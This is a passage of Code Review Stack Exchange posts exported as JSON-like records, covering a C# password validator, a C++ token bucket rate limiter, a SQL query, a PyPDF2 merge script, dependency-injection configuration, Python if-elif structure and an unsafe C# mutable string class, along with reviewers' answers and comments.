s)</code> which returns either success, or something to identify which rule failed.</p>\n<p>ValidatePassword should be fairly trivial, so you can be confident it works as desired provided the other functions work.</p>\n<p>The actual implementations of the functions, well I think what you've done is pretty OK.</p>\n<p><code>(..+)\\1</code> Doesn't match abc2deff, which seems in error to me as 'f' is a sequence of characters. But maybe I've misinterpreted here. In any case I like it because (with the caveat of maybe removing the first .) it is clearly right.</p>\n<p><code>Regex.IsMatch(PasswordEntry.Text, @"^[a-zA-Z0-9]+$", RegexOptions.IgnoreCase)</code> I think you've missed the logic that you were supposed to have at least one digit and one letter.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T22:40:05.840",
"Id": "489626",
"Score": "0",
"body": "So same question to you as the previous responder, would you consider these things disqualification for a Mid or Jr. role?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T22:47:19.473",
"Id": "489627",
"Score": "2",
"body": "It's hard to say I'm not really in the world of hiring. For me your code reads like someone who has some understanding of programming and of c#, unfortunately the exercise asked doesn't really let me see your problem solving skills, in terms of the way you structure your code, it really does need some improvement it's not maintable. But from a junior who has maybe never had a professional job programming before it seems like something you might expect. So, not an instant disqualification, but if there's better people there's better people. Most important is that you take the lessons to heart."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T23:56:28.863",
"Id": "489636",
"Score": "0",
"body": "\"For me your code reads like someone who has some understanding of programming and of c#...But from a junior who has maybe never had a professional job programming before it seems like something you might expect.\"\n\nYup, I check both of these categories. Self-taught but no pro experience yet. The ironic thing is most of the critiques on here are things I feel can only be learned by getting a coding job somewhere."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T00:15:39.750",
"Id": "489637",
"Score": "2",
"body": "@RussJ I agree with the above comment. Also, I think you can learn a lot by doing what you're doing now. Do interviews, get feedback from them and write code and post it here. Also, while you can learn a lot on the job, there are also many jobs where you won't learn good habits, structure and style, because the companies don't enforce it, don't have a good code review process, don't have senior developers to help you learn, or they don't know better. So if you have a choice of jobs, it can be a good thing to make sure you have senior colleagues and good processes to help you learn and improve."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T21:53:09.440",
"Id": "249705",
"ParentId": "249693",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T17:27:02.377",
"Id": "249693",
"Score": "1",
"Tags": [
"c#",
"interview-questions",
"ios",
"xamarin"
],
"Title": "What can I learn from this coding test?"
}
|
249693
|
<p><a href="https://github.com/LazyHippogriff/C-Plus-Plus-Learnings/tree/master/tokenBucket" rel="nofollow noreferrer">This program</a> is my attempt at solving the below problem:</p>
<p>We have a function which is going to be called by multiple threads. The problem is to find a way to limit the number of times this function is executed per second given that we don't have a control over:</p>
<p>a) The number of threads calling this function.</p>
<p>b) The number of times per second this function will be called by any thread.</p>
<p>We need to somehow limit its rate of execution.</p>
<p>This program is my attempt at solving this kind of problem. I've tried to use the Token Bucket Algorithm for this.</p>
<p>The usage is simple. It consists of a header file "tokenBucket.hpp". You need to include this in your program. Suppose you want to limit the execution rate of the function given below:</p>
<pre><code>void printHelloWorld();
</code></pre>
<p>You need to do 2 things:</p>
<p>You need to create a tokenBucket object constructed with the required rate you want your function to be executed per second. e.g. tokenBucket aBucket(500);</p>
<p>When calling your function, then instead of: printHelloWorld();</p>
<p>you have to do:</p>
<pre><code>if(aBucket.areTokensAvailable()) {
printHelloWorld();
}
</code></pre>
<p>Given below is my header only program:</p>
<pre><code>#ifndef __TOKEN_BUCKET_HPP__
#define __TOKEN_BUCKET_HPP__
#include <chrono>
#include <mutex>
#include <iostream>
class tokenBucket{
public:
/* Constructor */
tokenBucket(uint64_t fa_tokenFillRatePerSec): m_tokenFillRatePerSecond(fa_tokenFillRatePerSec),m_bucketSize(fa_tokenFillRatePerSec),m_availableTokens(fa_tokenFillRatePerSec),m_lastRefillTime(std::chrono::duration_cast<std::chrono::microseconds>(std::chrono::system_clock::now().time_since_epoch()).count()),m_timeIntervalPerRequestInMicroSeconds(NUMBER_OF_MICROSECONDS_IN_A_SECOND/fa_tokenFillRatePerSec){
fprintf(stdout,"\nToken Bucket initialised with the following values\nm_bucketSize(%lu)\nm_tokenFillRatePerSecond(%lu)\nm_availableTokens(%lu)\nm_lastRefillTime(%lu)\nm_timeIntervalPerRequestInMicroSeconds(%lu)\n",m_bucketSize,m_tokenFillRatePerSecond,m_availableTokens,m_lastRefillTime,m_timeIntervalPerRequestInMicroSeconds);
}
/* always called to check if sufficient number of tokens are available to server the request*/
bool areTokensAvailable(int fa_numberOfRequestedTokens = 1){
std::lock_guard<std::mutex> lg(m_mu);
uint64_t now = std::chrono::duration_cast<std::chrono::microseconds>(std::chrono::system_clock::now().time_since_epoch()).count();
refill_tokens(now);
if(m_availableTokens < fa_numberOfRequestedTokens){
return false;
}
else{
m_availableTokens -= fa_numberOfRequestedTokens;
return true;
}
}
private:
static constexpr int NUMBER_OF_MICROSECONDS_IN_A_SECOND = 1000000;
std::mutex m_mu;
uint64_t m_bucketSize; //Currently I'm taking Bucket Size = token fill rate per second.
uint64_t m_tokenFillRatePerSecond;
uint64_t m_availableTokens; //current number of tokens available in the bucket
uint64_t m_lastRefillTime;
uint64_t m_timeIntervalPerRequestInMicroSeconds; // = (pow(10,6)/m_tokenFillRatePerSecond)
/* to refill the tokens as per time diff */
void refill_tokens(const uint64_t& fa_currentRequestTime) {
/*calculate tokens added in particular time difference */
if (fa_currentRequestTime >= m_lastRefillTime + m_timeIntervalPerRequestInMicroSeconds) {
uint64_t l_newTokens = (fa_currentRequestTime - m_lastRefillTime)/m_timeIntervalPerRequestInMicroSeconds;
if(m_availableTokens + l_newTokens < m_bucketSize) {
m_availableTokens += l_newTokens;
}
else {
m_availableTokens = m_bucketSize;
}
m_lastRefillTime = fa_currentRequestTime;
}
}
};
#endif
</code></pre>
<p>Comments/Criticisms are welcome.</p>
|
[] |
[
{
"body": "<p>If you are programming c++ you should avoid functions like fprintf(from C), you should use std::cout that is the one on the standard library of c++</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T19:35:01.160",
"Id": "249697",
"ParentId": "249695",
"Score": "2"
}
},
{
"body": "<h1>Avoid casting time too much</h1>\n<p>A lot of code is spent on converting time to integers. Avoid casting too early; store time as much as possible as <code>std::chrono</code> types.\nIn fact, intead of storing how much tokens there are in the bucket, you could instead store how much time there is in the bucket. Then only in <code>areTokensAvailable()</code> do you need to cast from the amount of time in the bucket to the number of tokens.</p>\n<p>For example, the result of two calls to <code>std::chrono::...::now()</code> can be subtracted from each other, the result is a duration that can be added to another duration.</p>\n<h1>Consider using shorter function and variable names</h1>\n<p>Your function and variable names are very verbose, to the point that they make the code harder to read. Try to make them more concise, remove redundant information. I would also avoid using prefixes such as <code>fa_</code>. Does it stand for <code>function argument</code>? It's already clear from the function definition that it's an argument. The <code>m_</code> prefx for private member variables is more commonly used, and sometimes helps avoid name clashes, so I would keep that.</p>\n<h1>Use a single type to store the number of tokens</h1>\n<p>In your code, you use both <code>uint64_t</code> and <code>int</code> for the number of tokens. Be consistent and stick with a single type. Use a type alias to make it more explicit.</p>\n<h1>Use <code>std::chrono::steady_clock</code></h1>\n<p>Don't use <code>std::chrono::system_clock</code> for measuring the passage of time. It will give incorrect results when daylight savings time changes, when there are leap seconds and whenever the system clock gets changed (either by an administrator or by something like an NTP daemon). The <a href=\"https://en.cppreference.com/w/cpp/chrono/steady_clock\" rel=\"nofollow noreferrer\"><code>std::chrono::steady_clock</code></a> is guaranteed to be a monotonically increasiing clock. I would also create a type alias for it to reduce typing.</p>\n<h1>Example</h1>\n<p>Here's an example of how the code can be made to look:</p>\n<pre><code>class tokenBucket {\n using count_type = uint64_t;\n using clock = std::chrono::steady_clock;\n\npublic:\n tokenBucket(count_type rate): m_rate(rate) {}\n\n bool request(count_type count) {\n std::lock_guard<std::mutex> lock(m_mutex);\n refill();\n return try_remove(count);\n }\n\nprivate:\n std::mutex m_mutex;\n\n count_type m_rate;\n clock::time_point m_last_refill{clock::now()};\n clock::duration m_available{};\n clock::duration m_capacity{std::chrono::seconds(1)};\n\n void refill() {\n auto now = clock::now();\n m_available += now - m_last_refill;\n m_available = std::min(m_available, m_capacity);\n m_last_refill = now;\n }\n\n bool try_remove(count_type count) {\n auto requested = count * clock::duration(std::chrono::seconds(1)) / m_rate;\n\n if (requested <= m_available) {\n m_available -= requested;\n return true;\n } else {\n return false;\n }\n } \n};\n</code></pre>\n<p>Note: <code>m_capacity</code> here holds the size of the bucket as a time duration. If it is constant, you can make it a <code>static constexpr</code> variable.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T21:44:16.470",
"Id": "249704",
"ParentId": "249695",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T18:21:05.733",
"Id": "249695",
"Score": "3",
"Tags": [
"algorithm",
"c++11"
],
"Title": "Using Token Bucket to rate limit function calls"
}
|
249695
|
<p>Im curious if my approach is correct in this case:</p>
<p>I would like to get two DateTimes from a public property, but one of the dates i want them only if a user has purchase a feature or if he has not activate a switch, otherwise i want to get the same DateTime twice.</p>
<p>More specifically, the way im getting the values now is this:</p>
<pre><code>public class MainApplication : Application
{
public DateTime DateFrom { get; set; } = DateTime.Now;
public DateTime DateTo { get; set; } = DateTime.Now;
}
AnotherClass
{
SearchButton.Click += async (sender, e) =>
{
await SearchFoNumbersAsync(ApplicationState.DateFrom, ApplicationState.DateTo, DailySearchSwitch.Checked, SeperateCheckBox.Checked, ShowListsCheckBox.Checked).ConfigureAwait(false);
};
private async Task SearchFoNumbersAsync(DateTime dateFrom, DateTime dateTo, bool isDailySearchEnabled, bool seperateSearch, bool showDrawTime)
{
((MainActivity)Activity).DisplayLoadingMessage(true, GetString(Resource.String.Common_SearchTitle), GetString(Resource.String.Common_SearchMessage));
if (isDailySearchEnabled || !PurchaseFunctions.HasPurchasedDateRangeSelection())
dateTo = dateFrom;
...
}
}
</code></pre>
<p>So i want to get <strong>DateTo</strong> only<br />
<strong>if (isDailySearchEnabled || !PurchaseFunctions.HasPurchasedDateRangeSelection())</strong>, otherwise i want to get the <strong>DateFrom</strong> value in the place of <strong>DateTo</strong></p>
<p>Im sure this approach is not correct so im thinking i should get the <strong>DateTo</strong> this way:</p>
<pre><code>public class MainApplication : Application
{
public DateTime DateFrom { get; set; } = DateTime.Now;
private DateTime DateTo { get; set; } = DateTime.Now;
public DateTime GetDateTo(bool isDailySearchEnabled)
{
if (isDailySearchEnabled || !PurchaseFunctions.HasPurchasedDateRangeSelection())
return DateFrom;
else
return DateTo;
}
public void SetDateTo(DateTime dateTime)
{
DateTo = dateTime;
}
}
</code></pre>
<p>Is my new approach a good idea?</p>
|
[] |
[
{
"body": "<p>Probably the direction is correct but the class API is inconsistent for now. <code>DateFrom</code> is available, <code>DateTo</code> is not.</p>\n<p>As for me, the following way looks more consistent.</p>\n<pre class=\"lang-csharp prettyprint-override\"><code>public class MainApplication : Application\n{\n public DateTime DateFrom { get; set; } = DateTime.Now;\n public DateTime DateTo { get; set; } = DateTime.Now;\n\n public DateTime GetSearchDate(bool isDailySearchEnabled)\n => isDailySearchEnabled || !PurchaseFunctions.HasPurchasedDateRangeSelection() ? DateFrom : DateTo;\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T20:48:12.123",
"Id": "249862",
"ParentId": "249696",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249862",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T18:38:38.290",
"Id": "249696",
"Score": "2",
"Tags": [
"c#"
],
"Title": "Getting value from a property according to some parameters"
}
|
249696
|
<p>I have the following query which retrieve all those who have ordered a book_id n°10 and but never ordered the book with id n°1.
<a href="http://sqlfiddle.com/#!9/1bb9e8/44" rel="nofollow noreferrer">http://sqlfiddle.com/#!9/1bb9e8/44</a></p>
<pre><code>|user_id | book_id |
| 1 | 1 |
| 1 | 2 |
| 1 | 3 |
| 2 | 1 |
| 2 | 10|
| 2 | 9 |
| 3 | 5 |
| 3 | 10|
| 4 | 6 |
| 4 | 7 |
| 4 | 10|
| 8 | 8 |
select u.user_id,o.book_id
from users u
inner join c
on u.user_id = o.user_id
and o.book_id = 10
where u.user_id not in (
select 02.user_id
from orders o2
where o2.book_id = 1 );
</code></pre>
<p>The keyword "except" is not available on MariaDB 10.1
What are the others way can this be written in SQL aside using a CTE that would be efficient ?</p>
|
[] |
[
{
"body": "<p>By improvement, I suppose you have performance in mind because your queries are fairly basic and not hard to understand.</p>\n<p>I have had a look at your SQL fiddle and your tables have no <strong>indexes</strong>. Absent any other optimization mechanism the database engine will have to perform a <strong>full table scan</strong> to fetch the wanted rows. Thus, I don't expect much difference between a join or a subselect, or CTE. On a large table, the bottleneck is likely going to be row filtering, on a small table the performance hit should be negligible.</p>\n<p>First, consider adding indexes on your tables, for example the user ID field could be a primary key.\nThen use the <strong>explain</strong> command, preferably on a larger dataset for more representative results. For this you could write a script to generate a large bunch of random records.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T20:52:25.733",
"Id": "249700",
"ParentId": "249699",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249700",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T20:28:57.497",
"Id": "249699",
"Score": "1",
"Tags": [
"sql",
"mysql"
],
"Title": "Possible improvement on join query"
}
|
249699
|
<p>I sometimes need to merge some big PDF files. Looking around I decided to use PyPDF2. All files are in the same directory as the script. The code works as intended and was tested with 5 small PDF files.</p>
<p>I found many variations and decided to write this one myself:</p>
<pre><code>import glob
from PyPDF2 import PdfFileMerger
files = sorted(glob.glob('./*.pdf'))
merger = PdfFileMerger()
filename = input("Enter merged file name: ")
for file in files:
merger.append(file)
print(f"Processed file {file}")
merger.write(f'{filename}.pdf')
merger.close()
</code></pre>
<p>All files have titles such as <code>1.pdf</code> <code>2.pdf</code>.</p>
<p>The writing to file bit seems sloppy to me but I don't know how to or even if to improve it. Did I insure that the files list will always be in alphabetical order? Are there best practice things I missed? Any other feedback is welcome as well.</p>
<p>The code only needs to run on windows. Cross-platform is not a concern for me. I don't anticipate memory constraints as the system it runs on has a lot of RAM. This will only run client side using Python 3.8.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T08:58:34.997",
"Id": "489672",
"Score": "1",
"body": "Minor point, you don't have consistent quotes"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T22:40:35.077",
"Id": "249706",
"Score": "2",
"Tags": [
"python",
"beginner"
],
"Title": "PyPDF2: merging PDF files"
}
|
249706
|
<p>I have a .NET application with a .config file that has content like this:</p>
<pre><code><appSettings>
<add key="SmtpConfiguration" value="Db" />
</appSettings>
</code></pre>
<p>Inside the application's code I define an <code>ISmtpConfiguration</code> interface and several different implementations. <code>DbSmtpConfiguration</code> gets configuration data from a database, <code>AppSettingsSmtpConfiguration</code> reads from some other entries in the .config, and <code>DefaultSmtpConfiguration</code> has values written directly in the code.</p>
<p>In my service provider configuration, I have this:</p>
<pre><code>switch (ConfigurationManager.AppSettings["SmtpConfiguration"])
{
case "Db":
services.AddSingleton<ISmtpConfiguration, DbSmtpConfiguration>();
break;
case "AppSettings":
services.AddSingleton<ISmtpConfiguration, AppSettingsSmtpConfiguration>();
break;
default:
services.AddSingleton<ISmtpConfiguration, DefaultSmtpConfiguration>();
}
</code></pre>
<p>I'm not thrilled with that, so I have created a factory:</p>
<pre><code>public class SmtpConfigurationFactory
{
public static ISmtpConfiguration GetSmtpConfiguration()
{
var type = Type.GetType(ConfigurationManager.AppSettings["SmtpConfiguration"] + "SmtpConfiguration");
if (type == null)
{
type = typeof(DefaultSmtpConfiguration);
}
return (ISmtpConfiguration) Activator.CreateInstance(type);
}
}
</code></pre>
<p>I then use the factory like this:</p>
<pre><code>services.AddSingleton(SmtpConfigurationFactory.GetSmtpConfiguration());
</code></pre>
<p>I'm not terribly thrilled with that either. My final thought was to change consumers of <code>ISmtpConfiguration</code> to accept <code>SmtpConfigurationFactory</code> instead, make the method not static, and then add the factory to my services:</p>
<pre><code>services.AddSingleton<SmtpConfigurationFactory>();
</code></pre>
<p>Then the constructor for the consumer looks like:</p>
<pre><code>public SmtpEmailService(SmtpConfigurationFactory configurationFactory)
{
Configuration = configurationFactory.GetSmtpConfiguration();
}
</code></pre>
<p>I like that the best, but is there a better solution? The factory introduces the issue that implementations of <code>ISmtpConfiguration</code> cannot require dependencies of their own. <code>DbSmtpConfiguration</code> for example couldn't receive an <code>IDbConfiguration</code> telling it which database to connect to.</p>
|
[] |
[
{
"body": "<p>Since the value that determines what type to use doesn't change I personally would prefer your first solution of a switch statement in the registration.</p>\n<p>The current implementation of the factory pattern would lose any type safety. If a parameter gets added to the constructor then then the Activator.CreateInstance would fail. For example the database one might take in a connection string or sql object while the default one wouldn't. Plus a naming convention would need to be understood and knowledge passed down in maintenance mode. As the saying goes juice not worth the squeeze.</p>\n<p>If the value to return could change based on a parameter being passed in then I would agree factory pattern could be used but as it stands I think the switch statement in the container registration is the simplest and meets the requirement.</p>\n<p>There is still ways to create the factory pattern that would give type safety and DI but it ends up looking a lot like the switch statement.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T01:34:36.683",
"Id": "249710",
"ParentId": "249708",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T23:41:37.083",
"Id": "249708",
"Score": "2",
"Tags": [
"c#",
".net",
"dependency-injection",
"factory-method",
"configuration"
],
"Title": "Determine dependency injection type at runtime from config"
}
|
249708
|
<p>If below piece of code has to be restructured to use but one single if-elif block, which is better? 1. or 2.?</p>
<blockquote>
<p><a href="https://i.stack.imgur.com/I743a.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/I743a.png" alt="python code to categorise small naturals" /></a></p>
</blockquote>
<pre><code>A = int(input("Enter an integer(1~30): "))
</code></pre>
<ol>
<li></li>
</ol>
<pre><code>if A % 6 == 0:
print("A is even")
print("A is even and a multiple of 6 (6, 12, 18, 24, 30).")
elif A % 10 == 0:
print("A is even")
print("A is even and a multiple of 10 (10, 20).")
elif A % 2 == 0:
print("A is even")
print("A is even and a number out of 2, 4, 8, 14, 16, 22, 26, 28.")
elif A % 3 == 0:
print("A is odd")
print("A is odd and a multiple of 3 (3, 9, 15, 21, 27).")
else:
print("A is odd")
print("A is 1 or a number out of 1, 5, 7, 11, 13, 17, 19, 23, 25, 29.")
</code></pre>
<ol start="2">
<li></li>
</ol>
<pre><code>if A % 2 == 0 and A % 3 == 0:
print("A is even")
print("A is even and a multiple of 6 (6, 12, 18, 24, 30).")
elif A % 2 == 0 and A % 5 == 0:
print("A is even")
print("A is even and a multiple of 10 (10, 20).")
elif A % 2 == 0 and A % 3 != 0 and A % 5 != 0:
print("A is even")
print("A is even and a number out of 2, 4, 8, 14, 16, 22, 26, 28.")
elif A % 2 != 0 and A % 3 == 0:
print("A is odd")
print("A is odd and a multiple of 3 (3, 9, 15, 21, 27).")
else:
print("A is odd")
print("A is 1 or a number out of 1, 5, 7, 11, 13, 17, 19, 23, 25, 29.")
</code></pre>
<p>This is part of a question in a school assignment and the problem is to reformat some code into the structure of</p>
<pre><code>if
…
elif
…
elif
…
else
…
</code></pre>
<p>There are obviously better structures to avoid multiplicating <code>print("A is even")</code> but the question is to format it in the structure above.</p>
<p>So if the two above are the only options which is better and why?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T04:10:42.837",
"Id": "489645",
"Score": "0",
"body": "It seems like the real question is \"what logic is best to use for finding multiples of an input number?\" because the `if-else` statements are used the same, the logic is different. If you have the same 'mass' of code for both scenarios, using the one that is simpler (without `and`s and `or`s) would be more readable in most cases."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T04:34:44.603",
"Id": "489649",
"Score": "2",
"body": "Code Review requires concrete code from a project, with enough code and / or context for reviewers to understand how that code is used. Pseudocode, stub code, hypothetical code, obfuscated code, and generic best practices are outside the scope of this site. Anyway the second snippet contains superfluous checks and is quite harder to ready. It may be just my opinion though. In general your question is going to generate opinion based answers which is yet another reason to close this question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T05:10:43.757",
"Id": "489655",
"Score": "0",
"body": "Thank you for your answer. I edited the question to add some context. These are answers to a problem in a school assignment and is not part of a bigger project. The problem is to simply reformat a simple piece of code into the structure I mentioned."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T08:28:19.473",
"Id": "489671",
"Score": "0",
"body": "Note that the enumeration for `% 5 == 0` does not mention 30, and \"the else\" presents `1` as an alternative to `1`."
}
] |
[
{
"body": "<p>The following is better IMO. Duplicated "<code>A is odd</code>" / "<code>A is even</code>" strings are omitted from the output. They could be added if required.</p>\n<pre><code>if A % 2 == 0:\n if A % 6 == 0:\n msg = "a multiple of 6 (6, 12, 18, 24, 30)"\n elif A % 10 == 0:\n msg = "a multiple of 10 (10, 20)"\n else:\n msg = "a number out of 2, 4, 8, 14, 16, 22, 26, 28"\n print(f"A is even and {msg}.")\nelse:\n if A % 3 == 0:\n msg = "a multiple of 3 (3, 9, 15, 21, 27)"\n else:\n msg = "a number out of 1, 5, 7, 11, 13, 17, 19, 23, 25, 29"\n print(f"A is odd and {msg}.")\n</code></pre>\n<p>As for which one of the two versions of the provided code is better, I agree with @stefan's answer.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T05:07:52.393",
"Id": "489654",
"Score": "0",
"body": "Thanks for the answer but I need to know which is better out of the two. I edited my question to add some context."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T08:23:02.753",
"Id": "489669",
"Score": "0",
"body": "(Check input `1`. (in the original))"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T11:20:29.030",
"Id": "489677",
"Score": "0",
"body": "@greybeard I changed the output string from \"A is 1 or a number out of 1, 5, 7, 11, 13, 17, 19, 23, 25, 29.\" to \"A is odd and a number out of ... .\" because I thought it was a typo. The second part of the sentence already included `1` so there was no point to repeat it in the first part. Now more context have been added to the question so we can see the typo is from the original version of the code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T11:23:58.050",
"Id": "489678",
"Score": "0",
"body": "@anonymous I agree with stefan's answer on that question."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T04:15:29.357",
"Id": "249715",
"ParentId": "249714",
"Score": "2"
}
},
{
"body": "<p>The important fact first: You are required to refactor a reasonable piece of code into an evil one. An if-elif-else-rake is very seldom the best solution. That said I'll try to give two general rules.</p>\n<hr />\n<p>When testing for <code>"a multiple of 6 (6, 12, 18, 24, 30)"</code></p>\n<pre><code>if A % 6 == 0:\n</code></pre>\n<p>is the more readable and less error prone solution compared to</p>\n<pre><code>if A % 2 == 0 and A % 3 == 0:\n</code></pre>\n<p>Writing good code is not about showing off math knowledge.</p>\n<hr />\n<p>When we do an if-elif-else rake we do not do</p>\n<pre><code>if a:\n ...\nelif not a and b:\n ...\nelif not a and not b and c:\n ...\nelif not a and not b and not c and d:\n ...\n</code></pre>\n<p>we do</p>\n<pre><code>if a:\n ...\nelif b:\n ...\nelif c:\n ...\nelif d:\n ...\n</code></pre>\n<p>The <code>not</code> conditions are implicitly there.\nAgain the reason is readability, simplicity and thus less probability of errors. Maintainability counts, think of inserting a clause later. It is also avoiding multiple evaluation of tests.</p>\n<hr />\n<p>So your first code example is a little less evil as there is no code duplication and better readability.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T08:25:20.667",
"Id": "489670",
"Score": "0",
"body": "`your first code example is a little less evil as there is no code duplication` would be the pixel raster interpretation, not alternative `1.`."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T06:46:12.327",
"Id": "249718",
"ParentId": "249714",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249718",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T04:01:25.117",
"Id": "249714",
"Score": "0",
"Tags": [
"python",
"comparative-review"
],
"Title": "Which is better practice for this if elif… else statement?"
}
|
249714
|
<p>I've made a very basic wrapper over a String that offers mutability in place (context: mono/XNA, budget is about 11ms per frame, <strong>0B (ZERO, NIL, НОЛЬ, NADA) allocations hard requirement</strong>). Before that I've used a wrapper over StringBuilder that essentially would do the same - get raw value of the string it operates on.</p>
<pre class="lang-cs prettyprint-override"><code>public class MutableString
{
// Setup fields
private int m_Pos;
private string m_valueStr;
private readonly bool dontThrow = false;
// Publics
public int Capacity { get { return m_valueStr.Length; } }
public int Length { get { return m_Pos; } }
public MutableString(int size) : this(size, '\0', false) { }
public MutableString(int size, bool ignoreOverflow) : this(size, '\0', ignoreOverflow) { }
public MutableString(int size, char fillChar) : this(size, fillChar, false) { }
public MutableString(int size, char fillChar, bool ignoreOverflow)
{
if (size < 1)
throw new ArgumentException("Size cannot be 0 or less");
m_valueStr = new string(fillChar, size);
dontThrow = ignoreOverflow;
}
public override string ToString()
{
if (m_Pos == 0)
return string.Empty;
var free = m_valueStr.Length - m_Pos;
if (free > 0)
repeatChar('\0', free);
m_Pos = 0;
return m_valueStr;
}
//
// LOGIC
//
#region CHARS
public void Append(char[] value, int indx, int count)
{
if (value == null)
return;
var len = value.Length;
if (len == 0 || count < 1 || indx < 0 || (count > len - indx))
return;
if (len > 1)
AppendInternal(value, indx, count);
else
Append(value[0]);
}
public void Append(char[] value)
{
if (value == null)
return;
var len = value.Length;
if (len > 1)
AppendInternal(value, 0, len);
else
Append(value[0]);
}
public void Append(char value)
{
if (m_Pos >= m_valueStr.Length)
{
if (dontThrow)
return;
else
throw new ArgumentException("Not enough free space to accomodate element!");
}
singleChar(value);
m_Pos++;
}
private void AppendInternal(char[] value, int indx, int count)
{
var free = m_valueStr.Length - m_Pos;
if (count > free)
{
if (dontThrow)
return;
else
throw new ArgumentException(string.Format("Not enough free space to accomodate {0} elements!", count));
}
charCopy(value, indx, count);
m_Pos = m_Pos + count;
}
#endregion
#region STRINGS
private void AppendInternal(string value, int indx, int count)
{
var free = m_valueStr.Length - m_Pos;
if (count > free)
{
if (dontThrow == true)
return;
else
throw new ArgumentOutOfRangeException(string.Format("Not enough free space to accomodate {0} elements!", count));
}
stringCopy(value, indx, count);
m_Pos = m_Pos + count;
}
public void Append(string value, int indx, int count)
{
if (value == null)
return;
var len = value.Length;
if (count < 1 || indx < 0 || (count > len - indx))
return;
if (len > 1)
AppendInternal(value, indx, count);
else
Append(value[0]);
}
public void Append(string value)
{
if (value == null)
return;
var len = value.Length;
if (len > 1)
AppendInternal(value, 0, len);
else
Append(value[0]);
}
#endregion
// Copy logic
private unsafe void stringCopy(string value, int indx, int charCount)
{
fixed (char* ptrDest = m_valueStr)
{
fixed (char* ptrSrc = value)
{
wstrcpy(ptrDest + m_Pos, ptrSrc + indx, charCount);
}
}
}
private unsafe void charCopy(char[] value, int indx, int charCount)
{
fixed (char* ptrDest = m_valueStr)
{
fixed (char* ptrSrc = value)
{
wstrcpy(ptrDest + m_Pos, ptrSrc + indx, charCount);
}
}
}
private unsafe void singleChar(char value)
{
fixed (char* ptrDest = m_valueStr)
{
ptrDest[m_Pos] = value;
}
}
private unsafe void repeatChar(char value, int count)
{
var fin = m_Pos + count;
fixed (char* ptrDest = m_valueStr)
{
while (m_Pos < fin)
{
ptrDest[m_Pos] = value;
m_Pos++;
}
}
}
private unsafe void rawCopy(char* dest, char* src, int charCount)
{
for (int i = 0; i < charCount; i++)
dest[i] = src[i];
}
private unsafe static void wstrcpy(char* dmem, char* smem, int charCount)
{
if (((int)dmem & 2) != 0)
{
*dmem = *smem;
dmem++;
smem++;
charCount--;
}
while (charCount >= 8)
{
*(uint*)dmem = *(uint*)smem;
*(uint*)(dmem + 2) = *(uint*)(smem + 2);
*(uint*)(dmem + 4) = *(uint*)(smem + 4);
*(uint*)(dmem + 6) = *(uint*)(smem + 6);
dmem += 8;
smem += 8;
charCount -= 8;
}
if ((charCount & 4) != 0)
{
*(uint*)dmem = *(uint*)smem;
*(uint*)(dmem + 2) = *(uint*)(smem + 2);
dmem += 4;
smem += 4;
}
if ((charCount & 2) != 0)
{
*(uint*)dmem = *(uint*)smem;
dmem += 2;
smem += 2;
}
if ((charCount & 1) != 0)
{
*dmem = *smem;
}
}
}
</code></pre>
<p>The issue is that my performance over SB wrapper is way slower for some reason. on my Core i7-3770K I get like +0.600-0.700ms performance drop for 10 000 operations run. And it makes zero sense code wise, I have less call overhead and less branching, code-wise.</p>
<p>Is there anything I'm missing or can do? Also, unrelated general feedback is welcomed.</p>
